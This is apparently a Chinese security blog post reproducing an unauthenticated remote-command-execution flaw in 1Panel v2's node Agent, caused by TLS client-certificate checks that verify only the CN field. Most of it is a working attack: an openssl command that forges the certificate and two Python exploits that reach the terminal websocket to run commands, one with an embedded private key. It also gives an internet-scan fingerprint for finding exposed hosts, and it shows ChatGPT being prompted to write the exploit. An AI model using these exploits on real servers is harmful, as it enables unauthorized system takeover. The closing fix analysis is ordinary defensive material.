前言

日常看漏洞资讯,看到这个漏洞。

image-20250805141844627

1Panel以前接触过,是飞致云的产品。看漏洞描述是未授权的命令执行,那确实是一个严重漏洞。

漏洞介绍

参考链接 Github Advisorie 写的十分清楚了,漏洞原因与审计过程,甚至POC都给了。

image-20250805142256402

这里简单总结一下:

漏洞根本原因是由于 CoreAgent 节点通信的 HTTPS 证书校验不严,只验证了证书CN字段为panel_client,未验证证书签发者,导致攻击者可伪造证书连接Agent节点,从而绕过认证访问高权限接口,最终造成远程命令执行,获取系统权限。

漏洞复现

使用腾讯云实验室快速搭建环境,官方的一键安装脚本quick_start.sh,需要修改为有漏洞的版本。

image-20250805143207288

随即执行脚本,安装过程中提示安装docker,可不安装省时间。

image-20250805143351429

环境搭建好之后,打开发现节点管理功能需要专业版才有,咬牙买了一个月的专业版。

image-20250805143515310

导入许可证就可以看到节点管理界面了。

需要另外一台服务器充当节点,添加节点。(直接用本服务器应该也没问题?)

image-20250805143538688

填好节点信息之后就是等安装Agent了,等节点显示正常状态就可以进行测试了。

根据 Github Advisorie 给的信息,整理一下丢给ChatGPT,让它写一个POC出来。

Prompt:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
根据下面的漏洞描述,生成Python poc代码。```Description
项目地址:项目地址 1Panel
官网:https://www.1panel.cn/
时间:2025 07 26
版本:1panel V2.0.5
漏洞简述
首先引入1panel v2 Core端与Agent端的概念,新版本发布后,1panel增加了节点管理的功能,可以通过添加节点来控制其他的主机。
Core端与Agent端通讯所使用的https协议,在证书校验中未完全校验证书的真实性导致接口未授权。1panel中由于存在大量命令执行或高权限的接口,导致RCE


代码审计过程
首先我们进入到Agent HTTP路由文件agent/init/router/router.go


发现Routers函数中引用Certificate函数进行了全局校验agent/middleware/certificate.go


发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否进行了证书通讯


由于c.Request.TLS.HandshakeComplete的真假判断是通过agent/server/server.go代码Start函数中的tls.RequireAnyClientCert来判断的


注:此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCertRequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手

后续进入Certificate函数中的其他判断,只验证了证书CN字段为panel_client,未验证证书签发者。最后发现WebSocket连接可以绕过Proxy-ID验证


项目中存在大量的websocket接口
Process WebSocket 接口(根据上述问题可获取所有的进程等敏感信息)
路由地址: /process/ws
请求格式如下
{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选,指定进程ID进行筛选
  "name": "process_name", // 可选,根据进程名筛选
  "username": "user"      // 可选,根据用户名筛选
}


Terminal SSH WebSocket 接口(根据上述问题可执行任意命令)
路由地址: /hosts/terminal
请求格式如下
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" base64编码,记住不要忘记回车。
}


Container Terminal WebSocket 接口(容器执行命令接口)
路由地址: /containers/terminal

File Download Process WebSocket 接口(自动推送下载进度信息)
路由地址: /files/wget/process

攻击过程
首先生成伪造证书
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

然后使用证书请求验证,如果成功连接websocket接口则存在漏洞
```

image-20250805143801431

但由于发现者文字描述漏了/api/v2的前缀,这里生成的POC跑不通,修正之后如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import ssl
import json
import websocket
import base64

# ============================
# Configurable Parameters
# ============================
TARGET = "https://AGENT_IP_OR_DOMAIN:443"  # 改成目标地址
CRT_FILE = "panel_client.crt"
KEY_FILE = "panel_client.key"

# WebSocket target endpoints
PROCESS_WS_URL = TARGET.replace("https", "wss") + "/api/v2/process/ws"
TERMINAL_WS_URL = TARGET.replace("https", "wss") + "/api/v2/hosts/terminal"

# ============================
# Helper Functions
# ============================

def connect_ws(url, payload):
    sslopt = {
        "certfile": CRT_FILE,
        "keyfile": KEY_FILE,
        "cert_reqs": ssl.CERT_NONE,
    }

    print(f"[+] Connecting to {url}")
    ws = websocket.create_connection(url, sslopt=sslopt)
    print("[+] WebSocket connected")

    print(f"[+] Sending payload: {payload}")
    ws.send(json.dumps(payload))

    while True:
        try:
            result = ws.recv()
            print("[+] Received:", result)
            print(base64.b64decode(json.loads(result)['data'].encode()).decode())
        except KeyboardInterrupt:
            break
        except Exception as e:
            print("[!] Error:", e)
            break
    ws.close()
cmd = "whoami\n"
terminal_payload = {
    "type": "cmd",
    "data": base64.b64encode(cmd.encode()).decode()
}
connect_ws(TERMINAL_WS_URL, terminal_payload)

生成证书:

1
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

测试POC:

image-20250805144212957

image-20250805144233762

优化了一下POC,直接减去证书生成的步骤,内置到POC里面:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import ssl
import websocket
import json
import tempfile

# 你的证书和私钥内容(直接贴内容字符串)
CERT_PEM = """-----BEGIN CERTIFICATE-----
MIICqjCCAZICCQDDd4Tgw3unbTANBgkqhkiG9w0BAQsFADAXMRUwEwYDVQQDDAxw
YW5lbF9jbGllbnQwHhcNMjUwODA0MDgzMTIzWhcNMjYwODA0MDgzMTIzWjAXMRUw
EwYDVQQDDAxwYW5lbF9jbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC0YnBiwFjb1UJCIviRuPJDhm+9vAbJ69Sk9f2IRn3iEMLg66a8U9f370ec
V/BHyL/Wj+jqwks5p9L6rWPIaZoxynzoS4nj+hMHe2TKTIVgSjSwkEkTNUSzIhfM
zxI6RzNI5B2bqO4WBD3+YQWCQffdBsJL7Qpz/qhps+/zIEOLlmp/dqh+Z9YOT91b
PHThMeWLAcdZ439/yqIglNhGh0r4mRZpiSHoBQMSqSSR+YGbF1jsC5TKgLOwwUs5
NrlmZ6nCGq8O5nAwFuCFebSMc9Uj4MHWHUbIuL0Qu86nJkDqsukEiU6Ao6wTVzTN
Psue0X8Toy1UefjO1MHT+3USBkAnAgMBAAEwDQYJKoZIhvcNAQELBQADggEBADea
/vNSMT0iFmke+woQIiocDwDp/X02jZzKlleLDazqBrE+SQx5XhgvCj8qvmL4Vtt0
H75zljbFxBQM8PWq/4WKFbvbN3jsjfSAj80ko7rbJ63cbJYfCOxyvKJA0R8JTL1j
Heaws1Uh5c5uCbOrp6Yej5iTYUuRLwGxQMlKfzKI/dUDVrjAM1twQl8uK2IYgOsA
6mnt0Mfco/1S+Javkh2d029nBMdMd8jAs+85z8v8+BX1m5OomI12aJBIiaLAKQFx
uqQhWtStAEHZDVJbLkXBNTUvzeF5zqJ30weRA++9mKDBs+WJh7Vq58V5lgksWX0w
kBJIAEpeC+njBGXXltA=
-----END CERTIFICATE-----"""

KEY_PEM = """-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC0YnBiwFjb1UJC
IviRuPJDhm+9vAbJ69Sk9f2IRn3iEMLg66a8U9f370ecV/BHyL/Wj+jqwks5p9L6
rWPIaZoxynzoS4nj+hMHe2TKTIVgSjSwkEkTNUSzIhfMzxI6RzNI5B2bqO4WBD3+
YQWCQffdBsJL7Qpz/qhps+/zIEOLlmp/dqh+Z9YOT91bPHThMeWLAcdZ439/yqIg
lNhGh0r4mRZpiSHoBQMSqSSR+YGbF1jsC5TKgLOwwUs5NrlmZ6nCGq8O5nAwFuCF
ebSMc9Uj4MHWHUbIuL0Qu86nJkDqsukEiU6Ao6wTVzTNPsue0X8Toy1UefjO1MHT
+3USBkAnAgMBAAECggEAJKEIqUTdxmYbukpXp1+i8ktOTXzs8/vLhmPdQ9rsnQdC
S2IOzZdI97PDGuBQjoMZUXyPk3w4wlBt6zFiXcPz58BydMlCCuUxEAfig6HeQ5tN
77yc2iWq+aUmqBQ0Y1kp9Nc9m+pFznq2C/2vnK/AoUVKFxjfUoaXtD8xrnESxjlB
yOy4Vv+EMXkCOyp72PE+09AHPsqHbHx4/0Io1yzje1ZKbVPHz+YhVxrN0+VsJAgF
CgqBvXlJANo9erfzd1Po3vSFFogZaBRQWKdvO0/IojhcnPo5nF4v9J3LSXydHciO
xkPlHw+iDBBtvdhAKoIeVH2iJemcKHX47REGdlfwwQKBgQDXNk25vfc4eUwuxTKc
TVcLDR03tR2w9A2VuBPFbXiR8N+rBUMDhrvGHNK7/y7I0UHjB3fsqZyPeU4BBf5C
rbsCIJ8vzMlK3bC+KTzpmaGdTt3z4BtWhFIZW6ypz8tgo9YOuWpnJSLjLoXw6yGK
A9YDxVgMWHF8rYtya7SyTTd/PwKBgQDWkl1PBE8o1e8Q64MOJKWIwSpyRd0n5jqs
Tr5SJh/Upka8WLCDaqLbSrTXjgkf3kxmFErK/EiV5ub42XlJkV3vXdHoJ3e2cF/4
Z/AArlulIlKexGZNtPojnWcsFoeb01WSEEhQBjtvVZKsVRxLUxIWdMRsF70Jq9NT
Mjj/G1NtGQKBgGjrEm1xDSs9B0Tt4kSM99htZkcYRwdTk6Pf/9OKEPOlKIWppQf9
EWH9/0ajm11Plv1lULPR5H+Vtc+N6mz7YWYiHTkibyfOeDHczNNdkIquPkp8gRdm
nte59605nn7YoKzA+/yZAC8dKTNQjiNIx3dDKC+slncf7BG2LHuYZWvlAoGABptn
KCG31kgQHnNCC9NxDW71QaOJFctvDxM1pQ3reP7Nusr4VHOaJCp+uwxyl3qe253Q
V8PA8Gy1u//mTi+dttsqtX1RoFqBegKpTzwPMlyGMsFVbRsfgK0+GgtvjYrKXb8G
mwA2IE2AQLI2NtOOAQcDbVilx4B092DahHBw9zECgYBpreX1J3BkCDb7HHYItahK
Wgn4ZSDgewps31IkrdU6Ns35nc6ITMuiQ1klsUXWkvno8oUHsbtK0th+LIpYRR0v
PI+8Npci+kfgY9jbr+WrAApPk6wUHgxJvWLOuvz1ozLNsgb0O8J9e+pneO+zhcw6
rOX2g1ftBZC9rgChkuYF0Q==
-----END PRIVATE KEY-----"""

with tempfile.NamedTemporaryFile(delete=False, mode="w", suffix=".crt") as cert_temp, \
     tempfile.NamedTemporaryFile(delete=False, mode="w", suffix=".key") as key_temp:
    cert_temp.write(CERT_PEM)
    cert_temp.flush()
    key_temp.write(KEY_PEM)
    key_temp.flush()

    # 创建 SSL 上下文并加载证书
    # context = ssl.create_default_context()
    # context.check_hostname = False
    # context.verify_mode = ssl.CERT_NONE
    # context.load_cert_chain(certfile=cert_temp.name, keyfile=key_temp.name)

    # 使用 websocket-client 连接
    ws = websocket.create_connection(
        "wss://host:port/api/v2/hosts/terminal",  # 替换目标
        sslopt = {
            "certfile": cert_temp.name,
            "keyfile": key_temp.name,
            "cert_reqs": ssl.CERT_NONE,
      }
    )
    print("[+] WebSocket connected")

    # 示例 payload:whoami
    import base64
    cmd = "whoami\n"
    payload = {
        "type": "cmd",
        "data": base64.b64encode(cmd.encode()).decode()
    }

    ws.send(json.dumps(payload))
    while True:
        try:
            result = ws.recv()
            print("[+] Received:", result)
            print(base64.b64decode(json.loads(result)['data'].encode()).decode())
        except KeyboardInterrupt:
            break
        except Exception as e:
            print("[!] Error:", e)
            break
    ws.close()

指纹测绘

根据节点的证书指纹信息总结了一下,可以用下面的特征进行搜索。

1
cert.subject="FIT2CLOUD" && protocol="tls"

由于漏洞只影响专业版用户,且是v2版本,故影响量并没有想象中那么大。

image-20250805144713804

漏洞修复

根据参考链接中的pull,把差异代码扣给ChatGPT,下面是它给出的分析。

加强了对客户端 TLS 证书的验证,从简单地检查 Common Name(CN)为 "panel_client",扩展为更通用且可插拔的证书验证逻辑,并在连接不合法时主动关闭连接。

变更项目修改内容安全增强效果
middleware.Certificate()从硬编码 CN 校验 → 通用校验函数提高灵活性,增强安全控制
CloseDirectly()新增强制断开非法连接函数避免响应输出,阻断通信
TLSConfig.ClientAuth要求并验证客户端证书防止伪造客户端接入
加载 RootCrt设置可信 CA 根证书确保客户端证书是可信签发的

详细分析见链接

总体来说,增加了证书的签发机构验证,保证是可信证书。

建议受影响的用户安装最新的节点来进行修复,也可以临时用防火墙/IPtable等只允许可信IP访问。

总结

这个漏洞还是挺有意思的,依赖证书进行身份验证的场景还是见的比较少。